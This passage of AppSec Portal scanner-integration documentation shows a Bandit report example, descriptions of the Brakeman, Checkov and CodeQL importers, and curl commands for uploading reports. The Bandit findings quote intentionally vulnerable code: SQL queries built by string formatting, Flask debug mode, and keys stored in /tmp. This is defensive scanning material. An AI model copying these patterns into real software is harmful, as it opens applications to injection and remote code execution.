0, "CONFIDENCE.MEDIUM": 0, "CONFIDENCE.UNDEFINED": 0, "SEVERITY.HIGH": 0, "SEVERITY.LOW": 0, "SEVERITY.MEDIUM": 0, "SEVERITY.UNDEFINED": 0, "loc": 13, "nosec": 0, "skipped_tests": 0 }, "./utils/rsa-decrypt.py": { "CONFIDENCE.HIGH": 0, "CONFIDENCE.LOW": 0, "CONFIDENCE.MEDIUM": 1, "CONFIDENCE.UNDEFINED": 0, "SEVERITY.HIGH": 0, "SEVERITY.LOW": 0, "SEVERITY.MEDIUM": 1, "SEVERITY.UNDEFINED": 0, "loc": 21, "nosec": 0, "skipped_tests": 0 }, "./utils/rsa-encrypt.py": { "CONFIDENCE.HIGH": 0, "CONFIDENCE.LOW": 0, "CONFIDENCE.MEDIUM": 1, "CONFIDENCE.UNDEFINED": 0, "SEVERITY.HIGH": 0, "SEVERITY.LOW": 0, "SEVERITY.MEDIUM": 1, "SEVERITY.UNDEFINED": 0, "loc": 20, "nosec": 0, "skipped_tests": 0 }, "./utils/rsa-keygen.py": { "CONFIDENCE.HIGH": 0, "CONFIDENCE.LOW": 0, "CONFIDENCE.MEDIUM": 2, "CONFIDENCE.UNDEFINED": 0, "SEVERITY.HIGH": 0, "SEVERITY.LOW": 0, "SEVERITY.MEDIUM": 2, "SEVERITY.UNDEFINED": 0, "loc": 23, "nosec": 0, "skipped_tests": 0 }, "./utils/rsa-sign.py": { "CONFIDENCE.HIGH": 0, "CONFIDENCE.LOW": 0, "CONFIDENCE.MEDIUM": 1, "CONFIDENCE.UNDEFINED": 0, "SEVERITY.HIGH": 0, "SEVERITY.LOW": 0, "SEVERITY.MEDIUM": 1, "SEVERITY.UNDEFINED": 0, "loc": 27, "nosec": 0, "skipped_tests": 0 }, "./utils/rsa-verify.py": { "CONFIDENCE.HIGH": 0, "CONFIDENCE.LOW": 0, "CONFIDENCE.MEDIUM": 1, "CONFIDENCE.UNDEFINED": 0, "SEVERITY.HIGH": 0, "SEVERITY.LOW": 0, "SEVERITY.MEDIUM": 1, "SEVERITY.UNDEFINED": 0, "loc": 31, "nosec": 0, "skipped_tests": 0 }, "./utils/scrypt-crack.py": { "CONFIDENCE.HIGH": 0, "CONFIDENCE.LOW": 0, "CONFIDENCE.MEDIUM": 0, "CONFIDENCE.UNDEFINED": 0, "SEVERITY.HIGH": 0, "SEVERITY.LOW": 0, "SEVERITY.MEDIUM": 0, "SEVERITY.UNDEFINED": 0, "loc": 36, "nosec": 0, "skipped_tests": 0 }, "./utils/scrypt-generate.py": { "CONFIDENCE.HIGH": 0, "CONFIDENCE.LOW": 0, "CONFIDENCE.MEDIUM": 0, "CONFIDENCE.UNDEFINED": 0, "SEVERITY.HIGH": 0, "SEVERITY.LOW": 0, "SEVERITY.MEDIUM": 0, "SEVERITY.UNDEFINED": 0, "loc": 23, "nosec": 0, "skipped_tests": 0 }, "./utils/scrypt-verify.py": { "CONFIDENCE.HIGH": 0, "CONFIDENCE.LOW": 0, "CONFIDENCE.MEDIUM": 0, "CONFIDENCE.UNDEFINED": 0, "SEVERITY.HIGH": 0, "SEVERITY.LOW": 0, "SEVERITY.MEDIUM": 0, "SEVERITY.UNDEFINED": 0, "loc": 28, "nosec": 0, "skipped_tests": 0 }, "./utils/skey.py": { "CONFIDENCE.HIGH": 0, "CONFIDENCE.LOW": 0, "CONFIDENCE.MEDIUM": 0, "CONFIDENCE.UNDEFINED": 0, "SEVERITY.HIGH": 0, "SEVERITY.LOW": 0, "SEVERITY.MEDIUM": 0, "SEVERITY.UNDEFINED": 0, "loc": 22, "nosec": 0, "skipped_tests": 0 }, "_totals": { "CONFIDENCE.HIGH": 4, "CONFIDENCE.LOW": 6, "CONFIDENCE.MEDIUM": 39, "CONFIDENCE.UNDEFINED": 0, "SEVERITY.HIGH": 4, "SEVERITY.LOW": 9, "SEVERITY.MEDIUM": 36, "SEVERITY.UNDEFINED": 0, "loc": 1558, "nosec": 0, "skipped_tests": 0 } }, "results": [ { "code": "5 \n6 api_key_file = Path('/tmp/supersecret.txt')\n7 \n", "col_offset": 20, "end_col_offset": 42, "filename": "./bad/api_post.py", "issue_confidence": "MEDIUM", "issue_cwe": { "id": 377, "link": "https://cwe.mitre.org/data/definitions/377.html" }, "issue_severity": "MEDIUM", "issue_text": "Probable insecure usage of temp file/directory.", "line_number": 6, "line_range": [ 6 ], "more_info": "https://bandit.readthedocs.io/en/1.7.5/plugins/b108_hardcoded_tmp_directory.html", "test_id": "B108", "test_name": "hardcoded_tmp_directory" }, { "code": "18 for u,p in users:\n19 c.execute(\"INSERT INTO users (user, password, failures) VALUES ('%s', '%s', '%d')\" %(u, p, 0))\n20 \n", "col_offset": 18, "end_col_offset": 90, "filename": "./bad/db.py", "issue_confidence": "MEDIUM", "issue_cwe": { "id": 89, "link": "https://cwe.mitre.org/data/definitions/89.html" }, "issue_severity": "MEDIUM", "issue_text": "Possible SQL injection vector through string-based query construction.", "line_number": 19, "line_range": [ 19 ], "more_info": "https://bandit.readthedocs.io/en/1.7.5/plugins/b608_hardcoded_sql_expressions.html", "test_id": "B608", "test_name": "hardcoded_sql_expressions" }, { "code": "19 for u,p in users:\n20 c.execute(\"INSERT INTO users (username, password, failures, mfa_enabled, mfa_secret) VALUES ('%s', '%s', '%d', '%d', '%s')\" %(u, p, 0, 0, ''))\n21 \n", "col_offset": 18, "end_col_offset": 131, "filename": "./bad/db_init.py", "issue_confidence": "MEDIUM", "issue_cwe": { "id": 89, "link": "https://cwe.mitre.org/data/definitions/89.html" }, "issue_severity": "MEDIUM", "issue_text": "Possible SQL injection vector through string-based query construction.", "line_number": 20, "line_range": [ 20 ], "more_info": "https://bandit.readthedocs.io/en/1.7.5/plugins/b608_hardcoded_sql_expressions.html", "test_id": "B608", "test_name": "hardcoded_sql_expressions" }, { "code": "15 \n16 for f in Path('/tmp/').glob('vulpy.apikey.' + username + '.*'):\n17 print('removing', f)\n", "col_offset": 18, "end_col_offset": 25, "filename": "./bad/libapi.py", "issue_confidence": "MEDIUM", "issue_cwe": { "id": 377, "link": "https://cwe.mitre.org/data/definitions/377.html" }, "issue_severity": "MEDIUM", "issue_text": "Probable insecure usage of temp file/directory.", "line_number": 16, "line_range": [ 16 ], "more_info": "https://bandit.readthedocs.io/en/1.7.5/plugins/b108_hardcoded_tmp_directory.html", "test_id": "B108", "test_name": "hardcoded_tmp_directory" }, { "code": "19 \n20 keyfile = '/tmp/vulpy.apikey.{}.{}'.format(username, key)\n21 \n", "col_offset": 14, "end_col_offset": 39, "filename": "./bad/libapi.py", "issue_confidence": "MEDIUM", "issue_cwe": { "id": 377, "link": "https://cwe.mitre.org/data/definitions/377.html" }, "issue_severity": "MEDIUM", "issue_text": "Probable insecure usage of temp file/directory.", "line_number": 20, "line_range": [ 20 ], "more_info": "https://bandit.readthedocs.io/en/1.7.5/plugins/b108_hardcoded_tmp_directory.html", "test_id": "B108", "test_name": "hardcoded_tmp_directory" }, { "code": "32 \n33 for f in Path('/tmp/').glob('vulpy.apikey.*.' + key):\n34 return f.name.split('.')[2]\n", "col_offset": 18, "end_col_offset": 25, "filename": "./bad/libapi.py", "issue_confidence": "MEDIUM", "issue_cwe": { "id": 377, "link": "https://cwe.mitre.org/data/definitions/377.html" }, "issue_severity": "MEDIUM", "issue_text": "Probable insecure usage of temp file/directory.", "line_number": 33, "line_range": [ 33 ], "more_info": "https://bandit.readthedocs.io/en/1.7.5/plugins/b108_hardcoded_tmp_directory.html", "test_id": "B108", "test_name": "hardcoded_tmp_directory" }, { "code": "11 \n12 user = c.execute(\"SELECT * FROM users WHERE username = '{}' and password = '{}'\".format(username, password)).fetchone()\n13 \n", "col_offset": 21, "end_col_offset": 84, "filename": "./bad/libuser.py", "issue_confidence": "MEDIUM", "issue_cwe": { "id": 89, "link": "https://cwe.mitre.org/data/definitions/89.html" }, "issue_severity": "MEDIUM", "issue_text": "Possible SQL injection vector through string-based query construction.", "line_number": 12, "line_range": [ 12 ], "more_info": "https://bandit.readthedocs.io/en/1.7.5/plugins/b608_hardcoded_sql_expressions.html", "test_id": "B608", "test_name": "hardcoded_sql_expressions" }, { "code": "24 \n25 c.execute(\"INSERT INTO users (username, password, failures, mfa_enabled, mfa_secret) VALUES ('%s', '%s', '%d', '%d', '%s')\" %(username, password, 0, 0, ''))\n26 \n", "col_offset": 14, "end_col_offset": 127, "filename": "./bad/libuser.py", "issue_confidence": "MEDIUM", "issue_cwe": { "id": 89, "link": "https://cwe.mitre.org/data/definitions/89.html" }, "issue_severity": "MEDIUM", "issue_text": "Possible SQL injection vector through string-based query construction.", "line_number": 25, "line_range": [ 25 ], "more_info": "https://bandit.readthedocs.io/en/1.7.5/plugins/b608_hardcoded_sql_expressions.html", "test_id": "B608", "test_name": "hardcoded_sql_expressions" }, { "code": "52 \n53 c.execute(\"UPDATE users SET password = '{}' WHERE username = '{}'\".format(password, username))\n54 conn.commit()\n", "col_offset": 14, "end_col_offset": 70, "filename": "./bad/libuser.py", "issue_confidence": "MEDIUM", "issue_cwe": { "id": 89, "link": "https://cwe.mitre.org/data/definitions/89.html" }, "issue_severity": "MEDIUM", "issue_text": "Possible SQL injection vector through string-based query construction.", "line_number": 53, "line_range": [ 53 ], "more_info": "https://bandit.readthedocs.io/en/1.7.5/plugins/b608_hardcoded_sql_expressions.html", "test_id": "B608", "test_name": "hardcoded_sql_expressions" }, { "code": "28 \n29 app.run(debug=True, host='127.0.1.1', ssl_context=('/tmp/acme.cert', '/tmp/acme.key'))\n", "col_offset": 0, "end_col_offset": 86, "filename": "./bad/vulpy-ssl.py", "issue_confidence": "MEDIUM", "issue_cwe": { "id": 94, "link": "https://cwe.mitre.org/data/definitions/94.html" }, "issue_severity": "HIGH", "issue_text": "A Flask app appears to be run with debug=True, which exposes the Werkzeug debugger and allows the execution of arbitrary code.", "line_number": 29, "line_range": [ 29 ], "more_info": "https://bandit.readthedocs.io/en/1.7.5/plugins/b201_flask_debug_true.html", "test_id": "B201", "test_name": "flask_debug_true" }, { "code": "28 \n29 app.run(debug=True, host='127.0.1.1', ssl_context=('/tmp/acme.cert', '/tmp/acme.key'))\n", "col_offset": 51, "end_col_offset": 67, "filename": "./bad/vulpy-ssl.py", "issue_confidence": "MEDIUM", "issue_cwe": { "id": 377, "link": "https://cwe.mitre.org/data/definitions/377.html" }, "issue_severity": "MEDIUM", "issue_text": "Probable insecure usage of temp file/directory.", "line_number": 29, "line_range": [ 29 ], "more_info": "https://bandit.readthedocs.io/en/1.7.5/plugins/b108_hardcoded_tmp_directory.html", "test_id": "B108", "test_name": "hardcoded_tmp_directory" }, { "code": "28 \n29 app.run(debug=True, host='127.0.1.1', ssl_context=('/tmp/acme.cert', '/tmp/acme.key'))\n", "col_offset": 69, "end_col_offset": 84, "filename": "./bad/vulpy-ssl.py", "issue_confidence": "MEDIUM", "issue_cwe": { "id": 377, "link": "https://cwe.mitre.org/data/definitions/377.html" }, "issue_severity": "MEDIUM", "issue_text": "Probable insecure usage of temp file/directory.", "line_number": 29, "line_range": [ 29 ], "more_info": "https://bandit.readthedocs.io/en/1.7.5/plugins/b108_hardcoded_tmp_directory.html", "test_id": "B108", "test_name": "hardcoded_tmp_directory" }, { "code": "54 \n55 app.run(debug=True, host='127.0.1.1', port=5000, extra_files='csp.txt')\n", "col_offset": 0, "end_col_offset": 71, "filename": "./bad/vulpy.py", "issue_confidence": "MEDIUM", "issue_cwe": { "id": 94, "link": "https://cwe.mitre.org/data/definitions/94.html" }, "issue_severity": "HIGH", "issue_text": "A Flask app appears to be run with debug=True, which exposes the Werkzeug debugger and allows the execution of arbitrary code.", "line_number": 55, "line_range": [ 55 ], "more_info": "https://bandit.readthedocs.io/en/1.7.5/plugins/b201_flask_debug_true.html", "test_id": "B201", "test_name": "flask_debug_true" }, { "code": "2 \n3 with open('/tmp/darkweb2017-top10000.txt') as f:\n4 for password in f.readlines():\n", "col_offset": 10, "end_col_offset": 41, "filename": "./good/cutpasswd.py", "issue_confidence": "MEDIUM", "issue_cwe": { "id": 377, "link": "https://cwe.mitre.org/data/definitions/377.html" }, "issue_severity": "MEDIUM", "issue_text": "Probable insecure usage of temp file/directory.", "line_number": 3, "line_range": [ 3 ], "more_info": "https://bandit.readthedocs.io/en/1.7.5/plugins/b108_hardcoded_tmp_directory.html", "test_id": "B108", "test_name": "hardcoded_tmp_directory" }, { "code": "60 c = conn.cursor()\n61 c.execute(\"INSERT INTO users (username, password, salt, failures, mfa_enabled, mfa_secret) VALUES ('%s', '%s', '%s', '%d', '%d', '%s')\" %(username, '', '', 0, 0, ''))\n62 conn.commit()\n", "col_offset": 14, "end_col_offset": 139, "filename": "./good/libuser.py", "issue_confidence": "MEDIUM", "issue_cwe": { "id": 89, "link": "https://cwe.mitre.org/data/definitions/89.html" }, "issue_severity": "MEDIUM", "issue_text": "Possible SQL injection vector through string-based query construction.", "line_number": 61, "line_range": [ 61 ], "more_info": "https://bandit.readthedocs.io/en/1.7.5/plugins/b608_hardcoded_sql_expressions.html", "test_id": "B608", "test_name": "hardcoded_sql_expressions" }, { "code": "28 \n29 app.run(debug=True, host='127.0.1.1', ssl_context=('/tmp/acme.cert', '/tmp/acme.key'))\n", "col_offset": 0, "end_col_offset": 86, "filename": "./good/vulpy-ssl.py", "issue_confidence": "MEDIUM", "issue_cwe": { "id": 94, "link": "https://cwe.mitre.org/data/definitions/94.html" }, "issue_severity": "HIGH", "issue_text": "A Flask app appears to be run with debug=True, which exposes the Werkzeug debugger and allows the execution of arbitrary code.", "line_number": 29, "line_range": [ 29 ], "more_info": "https://bandit.readthedocs.io/en/1.7.5/plugins/b201_flask_debug_true.html", "test_id": "B201", "test_name": "flask_debug_true" }, { "code": "28 \n29 app.run(debug=True, host='127.0.1.1', ssl_context=('/tmp/acme.cert', '/tmp/acme.key'))\n", "col_offset": 51, "end_col_offset": 67, "filename": "./good/vulpy-ssl.py", "issue_confidence": "MEDIUM", "issue_cwe": { "id": 377, "link": "https://cwe.mitre.org/data/definitions/377.html" }, "issue_severity": "MEDIUM", "issue_text": "Probable insecure usage of temp file/directory.", "line_number": 29, "line_range": [ 29 ], "more_info": "https://bandit.readthedocs.io/en/1.7.5/plugins/b108_hardcoded_tmp_directory.html", "test_id": "B108", "test_name": "hardcoded_tmp_directory" }, { "code": "28 \n29 app.run(debug=True, host='127.0.1.1', ssl_context=('/tmp/acme.cert', '/tmp/acme.key'))\n", "col_offset": 69, "end_col_offset": 84, "filename": "./good/vulpy-ssl.py", "issue_confidence": "MEDIUM", "issue_cwe": { "id": 377, "link": "https://cwe.mitre.org/data/definitions/377.html" }, "issue_severity": "MEDIUM", "issue_text": "Probable insecure usage of temp file/directory.", "line_number": 29, "line_range": [ 29 ], "more_info": "https://bandit.readthedocs.io/en/1.7.5/plugins/b108_hardcoded_tmp_directory.html", "test_id": "B108", "test_name": "hardcoded_tmp_directory" }, { "code": "52 \n53 app.run(debug=True, host='127.0.1.1', port=5001, extra_files='csp.txt')\n54 \n", "col_offset": 0, "end_col_offset": 71, "filename": "./good/vulpy.py", "issue_confidence": "MEDIUM", "issue_cwe": { "id": 94, "link": "https://cwe.mitre.org/data/definitions/94.html" }, "issue_severity": "HIGH", "issue_text": "A Flask app appears to be run with debug=True, which exposes the Werkzeug debugger and allows the execution of arbitrary code.", "line_number": 53, "line_range": [ 53 ], "more_info": "https://bandit.readthedocs.io/en/1.7.5/plugins/b201_flask_debug_true.html", "test_id": "B201", "test_name": "flask_debug_true" }, { "code": "30 \n31 with open('/tmp/ca.key', 'wb') as out:\n32 out.write(pem_private)\n", "col_offset": 10, "end_col_offset": 23, "filename": "./utils/ca-create.py", "issue_confidence": "MEDIUM", "issue_cwe": { "id": 377, "link": "https://cwe.mitre.org/data/definitions/377.html" }, "issue_severity": "MEDIUM", "issue_text": "Probable insecure usage of temp file/directory.", "line_number": 31, "line_range": [ 31 ], "more_info": "https://bandit.readthedocs.io/en/1.7.5/plugins/b108_hardcoded_tmp_directory.html", "test_id": "B108", "test_name": "hardcoded_tmp_directory" }, { "code": "33 \n34 with open('/tmp/ca.pub', 'wb') as out:\n35 out.write(pem_public)\n", "col_offset": 10, "end_col_offset": 23, "filename": "./utils/ca-create.py", "issue_confidence": "MEDIUM", "issue_cwe": { "id": 377, "link": "https://cwe.mitre.org/data/definitions/377.html" }, "issue_severity": "MEDIUM", "issue_text": "Probable insecure usage of temp file/directory.", "line_number": 34, "line_range": [ 34 ], "more_info": "https://bandit.readthedocs.io/en/1.7.5/plugins/b108_hardcoded_tmp_directory.html", "test_id": "B108", "test_name": "hardcoded_tmp_directory" }, { "code": "57 # Write our certificate out to disk.\n58 with open('/tmp/ca.cert', 'wb') as out:\n59 out.write(cert.public_bytes(serialization.Encoding.PEM))\n", "col_offset": 10, "end_col_offset": 24, "filename": "./utils/ca-create.py", "issue_confidence": "MEDIUM", "issue_cwe": { "id": 377, "link": "https://cwe.mitre.org/data/definitions/377.html" }, "issue_severity": "MEDIUM", "issue_text": "Probable insecure usage of temp file/directory.", "line_number": 58, "line_range": [ 58 ], "more_info": "https://bandit.readthedocs.io/en/1.7.5/plugins/b108_hardcoded_tmp_directory.html", "test_id": "B108", "test_name": "hardcoded_tmp_directory" }, { "code": "11 \n12 with open(\"/tmp/acme.key\", \"rb\") as key_file:\n13 private_key = serialization.load_pem_private_key(\n", "col_offset": 10, "end_col_offset": 25, "filename": "./utils/ca-csr-create.py", "issue_confidence": "MEDIUM", "issue_cwe": { "id": 377, "link": "https://cwe.mitre.org/data/definitions/377.html" }, "issue_severity": "MEDIUM", "issue_text": "Probable insecure usage of temp file/directory.", "line_number": 12, "line_range": [ 12 ], "more_info": "https://bandit.readthedocs.io/en/1.7.5/plugins/b108_hardcoded_tmp_directory.html", "test_id": "B108", "test_name": "hardcoded_tmp_directory" }, { "code": "34 # Write our CSR out to disk.\n35 with open(\"/tmp/acme.csr\", \"wb\") as out:\n36 out.write(csr.public_bytes(serialization.Encoding.PEM))\n", "col_offset": 10, "end_col_offset": 25, "filename": "./utils/ca-csr-create.py", "issue_confidence": "MEDIUM", "issue_cwe": { "id": 377, "link": "https://cwe.mitre.org/data/definitions/377.html" }, "issue_severity": "MEDIUM", "issue_text": "Probable insecure usage of temp file/directory.", "line_number": 35, "line_range": [ 35 ], "more_info": "https://bandit.readthedocs.io/en/1.7.5/plugins/b108_hardcoded_tmp_directory.html", "test_id": "B108", "test_name": "hardcoded_tmp_directory" }, { "code": "12 \n13 with open(\"/tmp/ca.cert\", \"rb\") as ca_cert_file:\n14 ca_cert = x509.load_pem_x509_certificate(ca_cert_file.read(), default_backend())\n", "col_offset": 10, "end_col_offset": 24, "filename": "./utils/ca-csr-load.py", "issue_confidence": "MEDIUM", "issue_cwe": { "id": 377, "link": "https://cwe.mitre.org/data/definitions/377.html" }, "issue_severity": "MEDIUM", "issue_text": "Probable insecure usage of temp file/directory.", "line_number": 13, "line_range": [ 13 ], "more_info": "https://bandit.readthedocs.io/en/1.7.5/plugins/b108_hardcoded_tmp_directory.html", "test_id": "B108", "test_name": "hardcoded_tmp_directory" }, { "code": "15 \n16 with open(\"/tmp/acme.csr\", \"rb\") as csr_file:\n17 csr = x509.load_pem_x509_csr(csr_file.read(), default_backend())\n", "col_offset": 10, "end_col_offset": 25, "filename": "./utils/ca-csr-load.py", "issue_confidence": "MEDIUM", "issue_cwe": { "id": 377, "link": "https://cwe.mitre.org/data/definitions/377.html" }, "issue_severity": "MEDIUM", "issue_text": "Probable insecure usage of temp file/directory.", "line_number": 16, "line_range": [ 16 ], "more_info": "https://bandit.readthedocs.io/en/1.7.5/plugins/b108_hardcoded_tmp_directory.html", "test_id": "B108", "test_name": "hardcoded_tmp_directory" }, { "code": "18 \n19 with open(\"/tmp/ca.key\", \"rb\") as key_file:\n20 private_key = serialization.load_pem_private_key(\n", "col_offset": 10, "end_col_offset": 23, "filename": "./utils/ca-csr-load.py", "issue_confidence": "MEDIUM", "issue_cwe": { "id": 377, "link": "https://cwe.mitre.org/data/definitions/377.html" }, "issue_severity": "MEDIUM", "issue_text": "Probable insecure usage of temp file/directory.", "line_number": 19, "line_range": [ 19 ], "more_info": "https://bandit.readthedocs.io/en/1.7.5/plugins/b108_hardcoded_tmp_directory.html", "test_id": "B108", "test_name": "hardcoded_tmp_directory" }, { "code": "34 # Write our certificate out to disk.\n35 with open('/tmp/acme.cert', 'wb') as out:\n36 out.write(cert.public_bytes(serialization.Encoding.PEM))\n", "col_offset": 10, "end_col_offset": 26, "filename": "./utils/ca-csr-load.py", "issue_confidence": "MEDIUM", "issue_cwe": { "id": 377, "link": "https://cwe.mitre.org/data/definitions/377.html" }, "issue_severity": "MEDIUM", "issue_text": "Probable insecure usage of temp file/directory.", "line_number": 35, "line_range": [ 35 ], "more_info": "https://bandit.readthedocs.io/en/1.7.5/plugins/b108_hardcoded_tmp_directory.html", "test_id": "B108", "test_name": "hardcoded_tmp_directory" }, { "code": "13 \n14 with open(\"/tmp/acme.key\", \"rb\") as key_file:\n15 private_key = serialization.load_pem_private_key(\n", "col_offset": 10, "end_col_offset": 25, "filename": "./utils/rsa-decrypt.py", "issue_confidence": "MEDIUM", "issue_cwe": { "id": 377, "link": "https://cwe.mitre.org/data/definitions/377.html" }, "issue_severity": "MEDIUM", "issue_text": "Probable insecure usage of temp file/directory.", "line_number": 14, "line_range": [ 14 ], "more_info": "https://bandit.readthedocs.io/en/1.7.5/plugins/b108_hardcoded_tmp_directory.html", "test_id": "B108", "test_name": "hardcoded_tmp_directory" }, { "code": "13 \n14 with open(\"/tmp/acme.pub\", \"rb\") as key_file:\n15 public_key = serialization.load_pem_public_key(\n", "col_offset": 10, "end_col_offset": 25, "filename": "./utils/rsa-encrypt.py", "issue_confidence": "MEDIUM", "issue_cwe": { "id": 377, "link": "https://cwe.mitre.org/data/definitions/377.html" }, "issue_severity": "MEDIUM", "issue_text": "Probable insecure usage of temp file/directory.", "line_number": 14, "line_range": [ 14 ], "more_info": "https://bandit.readthedocs.io/en/1.7.5/plugins/b108_hardcoded_tmp_directory.html", "test_id": "B108", "test_name": "hardcoded_tmp_directory" }, { "code": "25 \n26 with open('/tmp/acme.key', 'wb') as out:\n27 out.write(pem_private)\n", "col_offset": 10, "end_col_offset": 25, "filename": "./utils/rsa-keygen.py", "issue_confidence": "MEDIUM", "issue_cwe": { "id": 377, "link": "https://cwe.mitre.org/data/definitions/377.html" }, "issue_severity": "MEDIUM", "issue_text": "Probable insecure usage of temp file/directory.", "line_number": 26, "line_range": [ 26 ], "more_info": "https://bandit.readthedocs.io/en/1.7.5/plugins/b108_hardcoded_tmp_directory.html", "test_id": "B108", "test_name": "hardcoded_tmp_directory" }, { "code": "28 \n29 with open('/tmp/acme.pub', 'wb') as out:\n30 out.write(pem_public)\n", "col_offset": 10, "end_col_offset": 25, "filename": "./utils/rsa-keygen.py", "issue_confidence": "MEDIUM", "issue_cwe": { "id": 377, "link": "https://cwe.mitre.org/data/definitions/377.html" }, "issue_severity": "MEDIUM", "issue_text": "Probable insecure usage of temp file/directory.", "line_number": 29, "line_range": [ 29 ], "more_info": "https://bandit.readthedocs.io/en/1.7.5/plugins/b108_hardcoded_tmp_directory.html", "test_id": "B108", "test_name": "hardcoded_tmp_directory" }, { "code": "14 \n15 with open(\"/tmp/acme.key\", \"rb\") as key_file:\n16 private_key = serialization.load_pem_private_key(\n", "col_offset": 10, "end_col_offset": 25, "filename": "./utils/rsa-sign.py", "issue_confidence": "MEDIUM", "issue_cwe": { "id": 377, "link": "https://cwe.mitre.org/data/definitions/377.html" }, "issue_severity": "MEDIUM", "issue_text": "Probable insecure usage of temp file/directory.", "line_number": 15, "line_range": [ 15 ], "more_info": "https://bandit.readthedocs.io/en/1.7.5/plugins/b108_hardcoded_tmp_directory.html", "test_id": "B108", "test_name": "hardcoded_tmp_directory" }, { "code": "15 \n16 with open(\"/tmp/acme.pub\", \"rb\") as key_file:\n17 public_key = serialization.load_pem_public_key(\n", "col_offset": 10, "end_col_offset": 25, "filename": "./utils/rsa-verify.py", "issue_confidence": "MEDIUM", "issue_cwe": { "id": 377, "link": "https://cwe.mitre.org/data/definitions/377.html" }, "issue_severity": "MEDIUM", "issue_text": "Probable insecure usage of temp file/directory.", "line_number": 16, "line_range": [ 16 ], "more_info": "https://bandit.readthedocs.io/en/1.7.5/plugins/b108_hardcoded_tmp_directory.html", "test_id": "B108", "test_name": "hardcoded_tmp_directory" } ] } ``` # Brakeman **Auditor Job Name**: Brakeman Scan\ **Auditor image:** registry.gitlab.com/whitespots-public/security-images/brakeman:6.0.0
[Brakeman ](https://brakemanscanner.org/)is a static security vulnerability analyzer for applications developed in Ruby on Rails. It analyzes the application source code for potential vulnerabilities without actually executing the application. {% hint style="info" %} Currently the scanner is only supported in the **Auditor** {% endhint %} # Checkov Checkov Scan is an open-source static analysis tool that scans infrastructure-as-code (IaC) files to identify potential security risks and compliance violations. **Auditor Job Name**: Checkov Scan\ **Auditor image:** \ `registry.gitlab.com/whitespots-public/security-images/checkov:3.2.108`\ **AppSec Portal Importer Name**: Checkov Scan [Checkov](https://github.com/bridgecrewio/checkov) supports various IaC formats, including **Terraform**, **Kubernetes**, **AWS** **CloudFormation**, and **Azure Resource Manager** templates. Checkov can be used to identify misconfigurations and enforce compliance with industry-standard policies and regulations. Checkov Scan works by analyzing the code structure and applying a set of built-in and custom rules. The rules are written in YAML format and can be easily extended or modified to fit specific use cases. Each rule checks for a specific condition, such as the use of insecure protocols or the exposure of sensitive data, and generates a report with the findings. The report can be exported in various formats, such as JSON, HTML, or JUnit. #### Curl example {% code overflow="wrap" %} ``` curl -X POST localhost/api/v1/scan/import/ -H "Authorization: Token a75bb26171cf391671e67b128bfc8ae1c779ff7b" -H "Content-Type: multipart/form-data" -F "file=@./checkov.json" -F "product_name=Product1" -F "product_type=Application" -F "scanner_name=Checkov Scan" -F "branch=dev" -F "repository=git@gitlab.com:whitespots-public/appsec-portal.git" ``` {% endcode %} In this command, the following parameters are used: 1. `-X POST`: specifies the HTTP method to be used (in this case, POST) 2. `-H "Authorization: Token "`: specifies the [**authorization token**](/appsec-portal/features/scanners/importing-reports-from-scanners-to-appsec-portal#authorization-token) obtained from AppSec Portal. 3. `-H "Content-Type: multipart/form-data"`: specifies the content type of the request. 4. `-F "file=@"`: specifies the **path to the report file** generated by the scanner. 5. `-F "product_name="`: specifies the **name of the product** being scanned. 6. `-F "product_type="`: specifies the **type of the product** being scanned. 7. `-F "scanner_name="`: specifies the **name of the scanner** used to generate the report (Checkov Scan) 8. `-F "branch="`: (*optional*) specifies the name of the branch in the source code repository (if applicable) This parameter is particularly useful when you want to associate the scan results with a specific branch in your repository. If not provided, the scan will be associated with the default branch Asset information, if an [auditor ](/auditor)is used 9. `-F "repository="`: If your product is **code** in a repository enter the address of your **repository** in a specific format, for example: :whitespots-public/appsec-portal.git 10. `-F "docker_image="`: If your product is **image** enter the address of the **registry** where your product is located, for example: registry.gitlab.com/whitespots-public/appsec-portal/back/auto\_validator:latest 11. `-F "domain="`: If your product is **web** enter the **domain name** of your product, for example: whitespots.io 12. `-F "host="`: If your product is **web** enter the **IP address** of your product, for example: 0.0.0.0 **Report example:**
# CodeQL CodeQL is a powerful static analysis tool for analyzing and finding security vulnerabilities in code. **AppSec Portal Importer Name**: CodeQL Scan (SARIF) CodeQL uses a semantic code analysis engine to understand the behavior of code and find potential security issues, including **SQL injection**, **cross-site scripting**, and more. CodeQL can be used to analyze code written in a wide range of programming languages, including **C++**, **Java**, **Python**, and **JavaScript**, making it a versatile tool for any development team. CodeQL works by creating a **graph database** that models the behavior of code. This database allows CodeQL to understand how different parts of the code interact with each other and identify potential security issues that may arise from those interactions. CodeQL also provides a range of powerful query languages that allow developers to write custom queries to find specific security issues or patterns in their code. #### Curl example {% code overflow="wrap" %} ``` curl -X POST localhost/api/v1/scan/import/ -H "Authorization: Token a75bb26171cf391671e67b128bfc8ae1c779ff7b" -H "Content-Type: multipart/form-data" -F "file=@./" -F "product_name=Product1" -F "product_type=Application" -F "scanner_name=CodeQL Scan (SARIF)" -F "branch=dev" ``` {% endcode %} In this command, the following parameters are used: 1. `-X POST`: specifies the HTTP method to be used (in this case, POST) 2. `-H "Authorization: Token "`: specifies the [**authorization token**](/appsec-portal/features/scanners/importing-reports-from-scanners-to-appsec-portal#authorization-token) obtained from AppSec Portal. 3. `-H "Content-Type: multipart/form-data"`: specifies the content type of the request. 4. `-F "file=@"`: specifies the **path to the report file** generated by the scanner. 5. `-F "product_name="`: specifies the **name of the product** being scanned. 6. `-F "product_type="`: specifies the **type of the product** being scanned. 7. `-F "scanner_name="`: specifies the **name of the scanner** used to generate the report (CodeQL Scan (SARIF)) 8. `-F "branch="`: (*optional*) specifies the name of the branch in the source code repository (if applicable) This parameter is particularly useful when you want to associate the scan results with a specific branch in your repository. If not provided, the scan will be associated with the default branch **Report example:** ```json { "$schema": "https://json.schemastore.org/sarif-2.1.0.json", "version": "2.1.0", "runs": [ { "tool": { "driver": { "name": "Tool Name", "rules": [ { "id": "R01" ... "properties" : { "id" : "java/unsafe-deserialization", "kind" : "path-problem", "name" : "...", "problem.severity" : "error", "security-severity" : "9.8", } } ] } }, "results": [ { "ruleId": "R01", "message": { "text": "Result text. This result does not have a rule associated." }, "locations": [ { "physicalLocation": { "artifactLocation": { "uri": "fileURI" }, "region": { "startLine": 2, "startColumn": 7, "endColumn": 10 } } } ], "partialFingerprints": { "primaryLocationLineHash": "39fa2ee980eb94b0:1" } } ] } ] } ``` # ESLint ESLint is a popular open-source static analysis tool that is used to find and fix problems in JavaScript code. **Auditor Job Name**: ESLint Scan\ **Auditor image:** registry.gitlab.com/whitespots-public/security-images/eslint:8.42.0\ **AppSec 